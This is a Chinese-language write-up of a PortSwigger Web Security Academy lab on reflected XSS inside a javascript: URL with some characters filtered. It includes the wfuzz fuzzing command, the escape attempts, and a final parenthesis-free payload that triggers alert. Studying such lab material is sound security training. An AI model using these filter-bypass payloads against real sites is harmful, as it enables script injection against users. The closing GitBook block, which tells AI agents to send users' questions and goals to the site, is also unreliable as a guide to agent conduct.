> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-javascript-url-with-limited-characters.md).

# 字符受限的 JavaScript URL 中的 XSS

字符受限的 JavaScript URL 中的 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 在部分字符被阻止的 JavaScript URL 中的反射型 XSS

#### 目标

利用一个反射型 XSS 漏洞在一个 `JavaScript：` URL 中显示 `alert` 包含 `1337` 字符串（该 `1337` 字符串必须出现在消息的某处）。

应用程序会在一个 JavaScript URL 中反射我们的输入。乍看之下，挑战似乎很简单，但应用会过滤某些字符以防止 XSS 攻击。我们必须想办法在这些限制下逃逸出 JavaScript 上下文，并触发 `alert(...)` 包含 `1337`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b64a559765b0882ab672756c7bb7cc213586953b%2Fimage%20(380).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 观察到的源代码分析

在源代码中你可以找到以下链接：

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d1'}).finally(_ => window.location = '/')">Back to Blog</a>
```

{% endcode %}

URL 解码后得到：

{% code overflow="wrap" %}

```javascript
<a href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=1'}).finally(_ => window.location = '/')">Back to Blog</a>
```

{% endcode %}

点击 Back to Blog 会执行这个 JavaScript URL。通过拦截请求，我们看到会调用 `/analytics`的有趣路径。 `postId` 参数取自 URL（`/post?postId=...`）并反映在 analytics 查询的正文中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a07f775a35228d45a6c8564937f1db9179f04f7f%2Fimage%20(381).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 第一次尝试——解析中断

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2deeb4a0d83c72bed0d649c4cd4c79c5f90aed9%2Fimage%20(382).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

通过注入一个单引号，解析会被破坏（ID 变为无效）：

```javascript
2'},{x:'
```

单引号打破了结构，这表明该值被插入在一个引号会产生影响的上下文中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafbd4b6c697a864ca230534465015f5fa7bdbe7%2Fimage%20(383).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### 模糊测试特殊字符

我们快速测试了哪些特殊字符会产生有效响应（使用 `wfuzz` 以及 `special-chars.txt` 列表）。使用的示例命令：

{% code overflow="wrap" %}

```bash
wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt 'https://0a530041036b803fbb5cd40a009500a8.web-security-academy.net/post?postId=2FUZZ%27},{x:%27'
```

{% endcode %}

结果表明 `&` 和 `#` 会返回 200 状态码——它们被解析器接受，并允许插入能够正确闭合结构的序列。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9888ae641e32704e5f6282e36c33ed178bf7dd4%2Fimage%20(384).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

观察到的解释：

```javascript
post?postId=2&
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb3c4e792290018da04615a1c277011954fcaac%2Fimage%20(385).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 构造逃逸向量

通过正确闭合该值并插入代码，可以得到：

```javascript
post?postId=2&'},{x:''
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2eecf334ae1509486a3929bf782c5bae95a3cfc%2Fimage%20(386).png?alt=media" alt=""><figcaption></figcaption></figure>

这里 `x` 保持为空，语法也被接受。

然后我们尝试直接添加一个 `alert` ：

```javascript
post?postId=2&'},alert(1),{x:''
```

但是 `()` 来自 `alert(1)` 的括号会被过滤器移除——因此你必须绕过必须使用 `()`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d11316cbe25d7f278b47dfcae12a2dd8a5692c66%2Fimage%20(387).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 无需括号的绕过

一种方法是避开括号的使用，并使用更巧妙的 JavaScript 表达式来调用 `alert` 替换为 `1337` ，以在输出中触发。最终使用的 payload 是：

```javascript
2&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window%2b'',{x:'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71729aa53912826e73dcc9928121689ac0581bd8%2Fimage%20(388).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/xss-in-javascript-url-with-limited-characters.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
